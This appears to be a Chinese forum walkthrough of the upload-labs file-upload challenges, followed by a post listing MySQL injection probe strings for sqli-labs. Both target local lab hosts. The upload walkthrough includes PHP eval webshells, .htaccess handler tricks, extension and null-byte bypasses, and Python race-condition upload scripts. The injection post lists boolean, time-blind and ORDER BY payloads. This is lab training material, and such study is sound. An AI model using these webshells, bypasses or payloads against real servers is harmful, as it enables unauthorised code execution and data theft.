if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
有关这种场景的绕过方法,使用burp抓包,修改文件上传的content-type类型为白名单允许的图片MIME类型即可

0.png

然后就可以绕过检测上传成功了

0.png


0.png

第三关&第四关

第三关的本意其实是想上传一些后缀名为php、php2、php3、php5、phtml等文件去绕过黑名单的,但是apache的配置文件里并没有配置将这些后缀的文件当做php解析

0.png

第三关第四关都是黑名单检测,但是在这里黑名单里都没有对.htacess做限制,所以这两关都可以上传.htaccess去绕过,.htaccess文件的内容如下
<FilesMatch "tony">
SetHandler application/x-httpd-php
</FilesMatch>
我们将这样一个.htaccess文件上传到服务器上传目录,这样的话,当apache在解析该目录下的php时,就会按照.htaccess中的要求去解析,只要匹配到了文件名里有tony这个字符串,就会把该文件当成php文件解析首先上传这样的一个.htaccess文件

0.png

.htaccess可以上传成功

0.png

接着上传一个黑名单里没有过滤的随意后缀名文件,但是文件名里要有tony,上传一个tony.jpg,内容为一句话木马

0.png

上传成功,并且tony.jpg会被apache当成php文件解析

0.png


0.png

第四关也是同样的方法
第五关
第五关在第四关的黑名单中又加进了.htaccess,所以上传.htaccess这个思路没戏了
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
可以看看过滤内容,过滤的还挺多,这里apache版本为2.4.23,所以apache文件名(x.php.xxx)解析漏洞不能在这用

并且在做该黑名单检查之前将上传文件后的.和空格字符都给删除了
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
这样做是为了防止用户上传是在后缀名后加上.和空格去绕过黑名单,windows在创建文件时会删除后缀名后的.和空格,并且后缀名为php.的文件也是可以当作php解析的(windows和linux环境都可以)

同时对文件名后缀名大小写写做了检查,防止大小写绕过

但是通过代码发现在黑名单检查之前处理文件名时只删除了一次.,于是可以上传一个后缀名为php. .的文件去绕过,这个在黑名单检查之前后缀名就会被处理为php.

0.png

可以看到成功绕过了上传检测

0.png


0.png

第六关

查看过滤代码
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
相对于第五关的过滤还少了一些,相同的黑名单,但是相比于第五关,这里仅仅删除了文件名后的.,并没有删除空格,所以可以上传一个后缀名为php+空格的文件去绕过黑名单,windows在创建文件时会自动删掉最后的空格

0.png

可以看到成功绕过这里的上传检测

0.png


0.png

第七关

第六关仅仅将文件名后面的点删除了,第七关则是仅仅将文件名后的空格给删除了,这里通过上传后缀名为php.的文件来绕过黑名单

0.png

成功绕过黑名单上传

0.png


0.png

第八关
和第五关一样,虽然在黑名单检查之前将文件名后的.和空格给删除了,但是.只删除了一次,这里同样使用后缀名php. .去绕过
第九关

一样的问题,所以继续用第八关的方法去绕过上传

第十关

尝试上传后缀名php的文件,看到可以上传成功,不过后缀名php被删除了

0.png

后缀名改为大写PHP上传,同样给删除了

0.png


0.png

猜想后台使用str_ireplace函数将文件后缀为黑名单的都给删除了,查看过滤代码确实如此
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
$is_upload = true;
}
因为str_ireplace函数只做一次替换,所以使用pphphp后缀名就能绕过

0.png

可以看到成功上传php

0.png


0.png

第十一关

采用的防御手法是白名单过滤,只允许上传jpg、png和gif类型,并且将上传的文件给重命名为了白名单中的后缀
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败!';
}
处理上传文件的方式
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
看起来这样防御并没有什么问题,但是这一关上传目录是可控的所以可以先上传一个后缀名为jpg,内容为一句话木马的文件,然后修改上传目录为.php后缀,之后在.php后使用截断后面的拼接内容,注意这里需要关掉magic_quotes_gpc这个php扩展,否则00会被转义
$_GET['save_path']这里使用00截断."/".rand(10, 99).date("YmdHis").".".$file_ext;
注意这里的00字符因为在url的GET参数中,所以需用进行url编码

0.png

通过这种方法就可以成功绕过十一关的上传检测

0.png


0.png

第十二关

同样是上传路径可以控制,不同的是这里的路径是以POST参数传递的,同样的这里在目录后面使用00截断

0.png


0.png


0.png

可以看到成功绕过上传

0.png


0.png

第十三关&第十四关&第十五关

任务和之前的不同,这里只需要成功上传图片马,并且图片马里有完整的webshell即可

对于第十三关第十四关和第十五关这三关都是对文件幻数进行了检测,只不过第十四关使用的是getimagesize函数,第十五关使用的是exif_imagetype函数,函数返回值内容不一样而已

要想突破文件幻数检测,首先要了解jpg、png、gif这三种文件的头部格式,每种类型的图片内容最开头会有一个标志性的头部,这个头部被称为文件幻数。

jpg文件头部格式

0.png

文件头值为FFD8FFE000104A464946 png文件头格式,网上大部分资料写的都是89504E47,但是经过我的测试,这四个16进制是仅仅不够的,如果只是89504E47的话,会使getimagesize函数和exif_imagetype函数报错

0.png


0.png


0.png

经过我的测试真正的文件头值应该是89504E470D0A1A0A

0.png

gif文件头格式

0.png


文件头值为474946383961经过测试,getimagesize函数和exif_imagetype函数都只是是对文件头进行检查,只要文件头部符合函数就会返回内容
<?php
echo "check jpg</br>";
echo "getimagesize function return:</br>";
var_dump(getimagesize("heishacker.jpg"));
echo "exif_imagetype function return:</br>";
var_dump(exif_imagetype("heishacker.jpg"));
echo "</br>check png</br>";
echo "getimagesize function return:</br>";
var_dump(getimagesize("mingren.png"));
echo "exif_imagetype function return:</br>";
var_dump(exif_imagetype("mingren.png"));
echo "</br>check gif</br>";
echo "getimagesize function return:</br>";
var_dump(getimagesize("xiangtian.gif"));
echo "exif_imagetype function return:</br>";
var_dump(exif_imagetype("xiangtian.gif"));
?>

0.png

所以这几关都可以上传图片马,图片马的文件头就是正常图片的文件头格式,从而绕过图片幻数检测windows下图片马制作方式
copy x.jpg|png|gif/b+x.php/a x.jpg|png|gif
参数/b指定以二进制格式复制、合并文件(图片),参数/a指定以ASCII格式复制、合并文件(php文件),x.php文件里为要写的一句话木马这三关都可以成功上传图片马,并且里面有完整的一句话木马,但是有时候图片马里面的一些字符会使php报错,导致用文件包含或者解析漏洞去解析图片马中的php时导致解析不了,可以看到利用文件包含去解析三个图片马时均不能解析,哎,运气太差

0.png


0.png


0.png

而且有时候对文件大小也有限制,所以绕过文件幻数最合适的方式是利用16进制编辑器自己制作一个伪图片马,这里利用winhex分别创建shell.jpg、shell.png、shell.gif三个伪图片马

0.png


0.png


0.png

之后上传这三个伪图片马,这样不光可以上传成功,也可以利用文件包含漏洞或解析漏洞解析成功

0.png


0.png


0.png


0.png


0.png


0.png

这三关均可以采用这种方式通关,第十五关需要在php配置文件中开启php的php_exif扩展

0.png

第十六关
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=$UPLOAD_ADDR.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagejpeg($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagepng($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagegif($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
通过第十六关的php代码可以看到对文件后缀名和MIME类型进行了检查,而且用到了php的imagecreatefromjpeg、imagecreatefrompng、imagecreatefromgif这几个图片处理函数对上传的图片进行了二次渲染生成了新的图片,所以如果在这里上传的是一个普通的图片马,虽然图片马可以上传成功,但是上传的图片马在经过二次渲染后,图片尾部的php代码就会被删除掉,所以在这里不能使用直接在图片尾部添加一句话木马的方式去合成图片马。但是这一关的代码有一个明显的逻辑漏洞,如果这几个二次渲染函数处理的不是一个图片,就会使这几个函数报错,因为这几个二次渲染的函数只会去处理一个图片内部格式正确的图片,所以在这里只需要上传一个后缀名为jpg、png、gif的一句话木马,这样的话上传的一句话木马会绕过后缀名和MIME类型的检查,通过move_uploaded_file上传至服务器,但是遇到二次渲染时,由于上传的不是一个真正的图片,所以二次渲染函数在处理时会因为图片的内部格式报错,从而突破了对图片的二次渲染,这时候页面虽然会显示图片格式不允许,但是上传的一句话木马已经上传到了服务器

分别上传后缀名为jpg、png、gif的一句话木马,可以看到虽然上传的格式不允许,但是一句话马已经上传成功了

1.png


1.png


1.png

以上只是单单针对这道题,那么如何真正的使用图片马突破二次渲染呢?可以看到如果直接使用在图片添加一句话木马的图片马上传的话,在二次渲染后一句话会被删除,导致图片马不能利用按照一般的方法制作三种图片马

1.png

但是经过二次渲染后图片尾部的php代码均被删除

尝试制作可以真正突破二次渲染的函数,这里可以通过十六进制编辑器查看比较上传前后图片的十六进制 ,找到二次渲染前后十六进制内容没有改变的部分,尝试将图片马写到这些没有改变的部分自己对图片的16进制格式不是太理解,导致只制作出来了突破二次渲染的gif图片马,jpg和png都制作失败了,以后有时间再去研究

1.png


1.png

将相同的部分(全00)替换为一句话木马,运气比较好,图片并没有损坏,而且绕过了二次渲染,并且没有报php语法错误

1.png

但是jpg和png就不一样了,出现了很多问题,暂时还没有制作出真正图片二次渲染的jpg、png图片马
第十七关

要求上传一个webshell到服务器,提示需要代码审计,查看php源代码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = $UPLOAD_ADDR . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传失败!';
}
}
通过php代码可以看到对上传的文件后缀做了白名单限制,如果上传的文件后缀如果不是jpg、png、gif的话就会被删除掉。但是这里可以使用竞争上传的方式去突破,同时使用多个进程去上传php文件,php文件的内容是向服务器目录下写一个webshell,之后不断去去访问上传的php文件,如果在删除该php文件之前访问到了该php文件,就会向服务器目录写一个webshell,用python去实现多进程上传
#coding=utf-8
import requests
from multiprocessing import Pool
def CompeteUpload(list):
url="http://192.168.242.128/upload-labs/Pass-17/index.php"
geturl="http://192.168.242.128/upload-labs/upload/info.php"
file={'upload_file':('info.php',"<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[ironman]);?>');?>",'image/jpeg')}
data={'submit':'上传'}
r=requests.post(url=url,data=data,files=file)
#print "test upload...."
r1=requests.get(url=geturl)
if r1.status_code==200:
print "upload success!"
if __name__=="__main__":
pool = Pool(10)
pool.map(CompeteUpload, range(10000))
pool.close()
pool.join()
可以看到通过多进程同时上传时可以成功在文件删除之前访问到该文件
在服务器目录下可以看到成功写入shell.php

1.png


1.png
第十八关
 apache2.4.x的环境下暂时还未找到绕过方法,在apache2.2.x的环境下可以通过条件竞争加上apache2.2.x解析漏洞去绕过,这一关的要求是上传一个webshell到服务器,题目提示说需要代码审计,那么首先来看代码:

重要代码部分如下:
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload($UPLOAD_ADDR);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );

}
......
......
......
};
分析一下代码的执行过程,首先使用$_FILES['upload_file']['name']接收文件名,然后获取文件后缀名进行白名单检查,需要注意的是这里使用的strrchr函数去截取后缀名的,所以获取到的是最后一个点后面的后缀名。如果后缀名不在白名单内的话就会提示上传失败,否则就会将文件使用rename函数重命名后上传至指定的目录,比如上传的是shell.php.xxx,shell.php会被重命名,导致最终文件命名变为xxxx.jpg而无法解析,所以这里同样需要使用竞争上传的方式,在重命名之前将文件上传至服务器,之后再结合apache2.2.x的解析漏洞使文件被解析,所以这里可以构造文件名为shell.php.7z

贴出我写的上传脚本
#coding=utf-8
import requests
from multiprocessing import Pool
def CompeteUpload(list):
url="http://192.168.233.130:8080/upload-labs/Pass-18/index.php"
geturl="http://192.168.233.130:8080/upload-labs/upload/info.php"
file={'upload_file':('shell.php.7z',"<?php @eval($_POST['c1imber']);?>",'image/jpeg')}
data={'submit':'上传'}
r=requests.post(url=url,data=data,files=file)
#print "test upload...."
r1=requests.get(url=geturl)
if r1.status_code==200:
print "upload success!"
if __name__=="__main__":
pool = Pool(10)
pool.map(CompeteUpload, range(10000))
pool.close()
pool.join()

成功上传
第十九关
代码如下:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {
$is_upload = true;
}else{
$msg = '上传失败!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

这一关和第11关类似,只不过这一关的路径部分是由
[b]$_POST[/b]
控制的,而第十一关是由
[b]$_GET[/b]
控制的,不过原理都是一样的,这样会导致00字符可以被拼接入文件路径内,进而被传入
[b]move_uploaded_file[/b]
函数内,然后该函数在将临时文件移动至指定路径的时候将会产生00截断上传(CVE-2015-2348)
所以这里可以设置文件名为
[b]shell.php .jpg[/b]
,然后在空格处进行00截断

之后就可以上传成功了

mysql部分注入检测语句

ff1209125020 发表了文章 • 1 个评论 • 301 次浏览 • 2018-06-04 10:02 • 来自相关话题

一、判断变量处理和单引号括号有没有关系:

1、加 " ' ": http://127.0.0.1/sqli/less-1/?id=1' ,返回正常就判断是否和双引号有关系

输出异常:最后在加上 “--+” :http://127.0.0.1/sqli/less-1/?id=1' --+,输出正常,参数处理为 id='$id',还输出异常则可能“-”被过滤,尝试  id=1' and '1'='1  和 id=1' and '1'='2

2、尝试:id=1')

输出异常:最后在加上 “--+”:http://127.0.0.1/sqli/less-1/?id=1') --+,输出正常,参数处理为 id=('$id'),还输出异常则可能“-”被过滤,尝试  id=1') and ('1')=('1  和 id=1') and ('1')=('2

3、尝试:id=1'))

输出异常:最后在加上 “--+”:http://127.0.0.1/sqli/less-1/?id=1')) --+,输出正常,参数处理为 id=(('$id')),还输出异常则可能“-”被过滤,尝试  id=1')) and (('1')=(('1  和 id=1')) and (('1'))=(('2

二、判断变量处理和双引号有没有关系,和以上步骤一样。

1)“-”过滤,不用注释符号,使用and闭合

2)“and”“or”过滤,使用大小写混写(ANd),或者在and单词之间再写一个and(anandd)。还有使用“&&”和“||”分别代替“and”和“or”

三、尝试:id=1-1  或者  1%2b1   //%2b 是加号的URL编码,因为加号在URL中有特殊意义,表示空格,所以这里需要用这种转码方式来用加号

返回两个数计算过后查询的结果,可能为

1)整型:id=$id

2)id=($id)

3)id=(($id))

如果返回原来的页面,则是经过单引号或者双引号处理或者第一个数字后面的字符被过滤,尝试其他方法

四、判断时间盲注

比如一个URL:http://127.0.0.1/sqli/less-10/?id=1

输入什么值都显示的页面一致

1、 id=1 and sleep(4) --+  或者 id=1) and sleep(4)  --+ //延时打开网页,变量处理为:id=$id

2、id=1' and sleep(4) --+ 或者 id=1" and sleep(4) --+  //延时打开网页,字符串处理为:id='$id' 或者 id="$id"

3、id=1') and sleep(4) --+ 或者 id=1')) and sleep(4) --+ //延时打开网页,字符串处理为:id=('$id') 或者 id=("$id"),

五、判断order by sort 注入

1、修改数字,排序发生变化,为:sort=$sort  或者sort=($sort),sort不会是字符类型的,因为order by [所有字符] ,排序都是一样的
2、 利用bool注入判断有没有order by 注入。sort=rand(0) 和  sort=rand(1) 排序是不一样的。尝试:sort=rand(()) //必须是双括号.例:sort=rand(((left((select version()),1)=5)))  //里面的left()函数返回值和5作比较计算出逻辑值0或1










 
上面这两个排序是一样的,我的版本号第一位是5,再看看第一位等于5时怎么排序





 
这样就可以然后逐位猜解了。

3、利用报错注入order by

如果构造参数值能造成页面显示出错误,可以使用报错注入





 
就像id参数那样注入,后面跟and 然后报错函数





  查看全部
一、判断变量处理和单引号括号有没有关系:

1、加 " ' ": http://127.0.0.1/sqli/less-1/?id=1' ,返回正常就判断是否和双引号有关系

输出异常:最后在加上 “--+” :http://127.0.0.1/sqli/less-1/?id=1' --+,输出正常,参数处理为 id='$id',还输出异常则可能“-”被过滤,尝试  id=1' and '1'='1  和 id=1' and '1'='2

2、尝试:id=1')

输出异常:最后在加上 “--+”:http://127.0.0.1/sqli/less-1/?id=1') --+,输出正常,参数处理为 id=('$id'),还输出异常则可能“-”被过滤,尝试  id=1') and ('1')=('1  和 id=1') and ('1')=('2

3、尝试:id=1'))

输出异常:最后在加上 “--+”:http://127.0.0.1/sqli/less-1/?id=1')) --+,输出正常,参数处理为 id=(('$id')),还输出异常则可能“-”被过滤,尝试  id=1')) and (('1')=(('1  和 id=1')) and (('1'))=(('2

二、判断变量处理和双引号有没有关系,和以上步骤一样。

1)“-”过滤,不用注释符号,使用and闭合

2)“and”“or”过滤,使用大小写混写(ANd),或者在and单词之间再写一个and(anandd)。还有使用“&&”和“||”分别代替“and”和“or”

三、尝试:id=1-1  或者  1%2b1   //%2b 是加号的URL编码,因为加号在URL中有特殊意义,表示空格,所以这里需要用这种转码方式来用加号

返回两个数计算过后查询的结果,可能为

1)整型:id=$id

2)id=($id)

3)id=(($id))

如果返回原来的页面,则是经过单引号或者双引号处理或者第一个数字后面的字符被过滤,尝试其他方法

四、判断时间盲注

比如一个URL:http://127.0.0.1/sqli/less-10/?id=1

输入什么值都显示的页面一致

1、 id=1 and sleep(4) --+  或者 id=1) and sleep(4)  --+ //延时打开网页,变量处理为:id=$id

2、id=1' and sleep(4) --+ 或者 id=1" and sleep(4) --+  //延时打开网页,字符串处理为:id='$id' 或者 id="$id"

3、id=1') and sleep(4) --+ 或者 id=1')) and sleep(4) --+ //延时打开网页,字符串处理为:id=('$id') 或者 id=("$id"),

五、判断order by sort 注入

1、修改数字,排序发生变化,为:sort=$sort  或者sort=($sort),sort不会是字符类型的,因为order by [所有字符] ,排序都是一样的
2、 利用bool注入判断有没有order by 注入。sort=rand(0) 和  sort=rand(1) 排序是不一样的。尝试:sort=rand(()) //必须是双括号.例:sort=rand(((left((select version()),1)=5)))  //里面的left()函数返回值和5作比较计算出逻辑值0或1

1.png


222.png

 
上面这两个排序是一样的,我的版本号第一位是5,再看看第一位等于5时怎么排序

333.png

 
这样就可以然后逐位猜解了。

3、利用报错注入order by

如果构造参数值能造成页面显示出错误,可以使用报错注入

44.png

 
就像id参数那样注入,后面跟and 然后报错函数

55.png